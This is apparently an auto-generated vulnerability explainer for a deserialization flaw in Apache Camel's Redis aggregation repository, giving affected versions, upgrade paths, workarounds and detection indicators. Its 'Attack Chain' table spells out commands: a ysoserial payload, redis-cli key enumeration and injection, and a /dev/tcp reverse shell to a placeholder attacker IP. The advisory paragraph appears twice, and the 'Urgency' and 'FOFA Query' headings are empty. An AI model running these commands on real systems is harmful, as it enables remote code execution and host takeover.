CVE-2026-133005 — Apache Software Foundation Apache Camel (4.18.6) — CWE-502
Deserialization of Untrusted Data vulnerability in Apache Camel Redis component. This issue affects Apache Camel: from 4.0.0 before 4.18.6, from 4.19.0 before 4.22.3, from 4.23.0 before 4.24.0. camel-redis RedisAggregationRepository.doStart() built its Redisson client without setting a codec, so Redisson installed Kryo5Codec with registration not required and a JavaSerializer registered for Throwable, and every value the repository read back from Redis (at route start-up, from the aggregation interval task, and during recovery) was deserialized through unrestricted Kryo instantiation and an unfiltered ObjectInputStream, even with useRecovery=false. An attacker able to write to the Redis store used as the aggregation repository could place a crafted serialized value that leads to remote code execution when a usable gadget chain is present on the classpath. The fixed releases apply a class allow-list to the codec and an ObjectInputFilter on the Java-serialization path. Upgrade to Apache Camel 4.24.0, which fixes the issue. Users on the 4.22.x LTS release stream should upgrade to 4.22.3. Users on the 4.18.x LTS release stream should upgrade to 4.18.6.
Deserialization of Untrusted Data vulnerability in Apache Camel Redis component. This issue affects Apache Camel: from 4.0.0 before 4.18.6, from 4.19.0 before 4.22.3, from 4.23.0 before 4.24.0. camel-redis RedisAggregationRepository.doStart() built its Redisson client without setting a codec, so Redisson installed Kryo5Codec with registration not required and a JavaSerializer registered for Throwable, and every value the repository read back from Redis (at route start-up, from the aggregation interval task, and during recovery) was deserialized through unrestricted Kryo instantiation and an unfiltered ObjectInputStream, even with useRecovery=false. An attacker able to write to the Redis store used as the aggregation repository could place a crafted serialized value that leads to remote code execution when a usable gadget chain is present on the classpath. The fixed releases apply a class allow-list to the codec and an ObjectInputFilter on the Java-serialization path. Upgrade to Apache Camel 4.24.0, which fixes the issue. Users on the 4.22.x LTS release stream should upgrade to 4.22.3. Users on the 4.18.x LTS release stream should upgrade to 4.18.6.
🎯 What is this vulnerability?
CVE‑2026‑133005 is a Deserialization of Untrusted Data flaw (CWE‑502) in the Apache Camel Redis component.
The component uses the Redisson client to persist aggregation state in Redis. In the affected Camel releases (4.0.0‑<4.18.6, 4.19.0‑<4.22.3, 4.23.0‑<4.24.0) the RedisAggregationRepository.doStart() method builds a Redisson client without configuring a codec.
Redisson’s default codec is Kryo5Codec, which:
1. Does not require class registration – any class can be deserialized.
2. Registers a JavaSerializer for Throwable.
3. Uses an unfiltered ObjectInputStream when deserializing values read from Redis.
Because the aggregation repository reads from Redis at three points (on route startup, during the aggregation‑interval task, and during recovery), any value stored in the Redis key used by the repository is deserialized without any class‑allowlist or ObjectInputFilter.
An attacker who can write to that Redis key can inject a malicious Java‑serialized object that contains a gadget chain present on the classpath (e.g., Commons‑Collections, Log4j, or any other vulnerable gadget). When Camel reads the key, the unfiltered deserialization triggers the gadget chain, leading to remote code execution (RCE).
The fix in the patched releases adds a codec allow‑list and an ObjectInputFilter on the Java‑serialization path, preventing arbitrary class deserialization.
⚡ Attack Chain
NOTE: The following chain assumes the attacker already has write access to the Redis instance that the Camel application uses for its aggregation repository. If the Redis instance is exposed over the network, the attacker can connect directly; otherwise, the attacker must exploit an application‑level endpoint that writes to the repository.
| Step | Description | Technical Detail | |||
|---|---|---|---|---|---|
| 1. Discovery & Reconnaissance | Identify the target application, its Camel version, and the Redis key used for aggregation. | 1. Probe HTTP headers or /actuator/info (if enabled) for a Camel version string.<br>2. Use redis-cli or a network scanner to discover the Redis port (default 6379).<br>3. Enumerate keys with KEYS * or SCAN to locate keys that match the pattern used by RedisAggregationRepository (e.g., camel:aggregation:repo:*). | |||
| 2. Exploitation | Inject a malicious serialized payload into the Redis key. | a. Generate a gadget chain payload (e.g., using ysoserial.jar):<br>``bash\njava -jar ysoserial.jar CommonsCollections4 "bash -c 'id'" > payload.bin\n`\n<br>b. Base‑64 encode the payload (to avoid binary issues in Redis):<br>`bash\ncat payload.bin | base64 | tr -d '\\n' > payload.b64\n`\n<br>c. Write the payload to the aggregation key (illustrative example; the exact key depends on the Camel route configuration):<br>`bash\nredis-cli -h <redis-host> -p <redis-port> SET camel:aggregation:repo:myRoute <payload.b64>\n`\n<br>d. Trigger deserialization – either by restarting the Camel application, waiting for the aggregation interval task, or forcing a recovery. When Camel reads the key, the unfiltered Kryo deserialization will instantiate the gadget chain, executing the payload (id command in this example). | Illustrative PoC – the exact Redis key (camel:aggregation:repo:myRoute) is an example; your target may use a different naming convention. |
| 3. Post‑exploitation | Achieve full impact: RCE, privilege escalation, data exfiltration, etc. | Once the gadget chain runs, the attacker can execute arbitrary shell commands on the host where Camel runs. Typical post‑exploitation steps:<br>• Drop a reverse shell (e.g., bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1`).<br>• Escalate privileges if the Camel process runs as a privileged user.<br>• Dump sensitive data from the application or the underlying system.<br>• Install persistence mechanisms (cron jobs, systemd units, etc.). |
🌍 Real World Impact
| Impact | CVSS Component | Explanation |
|---|---|---|
| Confidentiality | C:H | Arbitrary code execution allows the attacker to read any file or memory on the host, including secrets, credentials, or database dumps. |
| Integrity | I:H | The attacker can modify application files, configuration, or injected data, potentially corrupting business logic or tampering with logs. |
| Availability | A:H | The attacker can crash the Camel application or the underlying JVM, causing denial of service for downstream services or routes. |
Practical consequences for affected environments include:
- Data exfiltration from the application or its database.
- Compromise of the entire host if the Camel process runs with elevated privileges.
- Service disruption for any downstream systems that rely on the Camel routes.
- Potential pivot to other systems on the same network if the attacker gains a foothold.
- CVSS Score: 8.8 (High)
- Exploit Complexity: Low (requires only write access to Redis).
- CISA KEV Status: No.
- Potential Impact: Full RCE, privilege escalation, data loss, and service disruption.
🛡️ Remediation & Mitigation
Affected Versions
| Camel Major | Affected Range | Fixed Release |
|---|---|---|
| 4.0.0 – 4.18.5 | 4.0.0‑<4.18.6 | 4.18.6 |
| 4.19.0 – 4.22.2 | 4.19.0‑<4.22.3 | 4.22.3 |
| 4.23.0 – 4.23.9 | 4.23.0‑<4.24.0 | 4.24.0 |
Upgrade Recommendation:
If you are on the 4.22.x LTS stream, upgrade to 4.22.3.
If you are on the 4.18.x LTS stream, upgrade to 4.18.6.
Otherwise, upgrade to 4.24.0 or later.
Workarounds
| Mitigation | How to Apply |
|---|---|
| Disable the aggregation repository | Remove or comment out the RedisAggregationRepository bean from the Camel context. |
| Restrict Redis access | Ensure only the Camel process can write to the aggregation key. Use firewall rules, Redis ACLs, or network segmentation. |
| Configure a safe codec | If upgrading is not immediately possible, manually configure Redisson to use a codec that enforces class‑allowlists (e.g., JsonJacksonCodec) and set an ObjectInputFilter on the Java‑serialization path. |
| Apply WAF/ModSecurity rules | While this vulnerability is internal to Camel, you can add generic rules that block suspicious Redis commands (e.g., SET with large binary payloads). |
Detection
| Indicator | Log Pattern | IoC |
|---|---|---|
| Deserialization errors | java.io.InvalidClassException or java.io.StreamCorruptedException in Camel logs. | InvalidClassException |
| Unexpected Redis key patterns | SET camel:aggregation:repo:* with unusually large values. | camel:aggregation:repo: |
| Shell command execution | Runtime.exec or ProcessBuilder stack traces. | Runtime.exec |
| Network traffic to Redis | Connections from untrusted hosts to Redis port. | <untrusted-host> -> <redis-host>:6379 |
⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query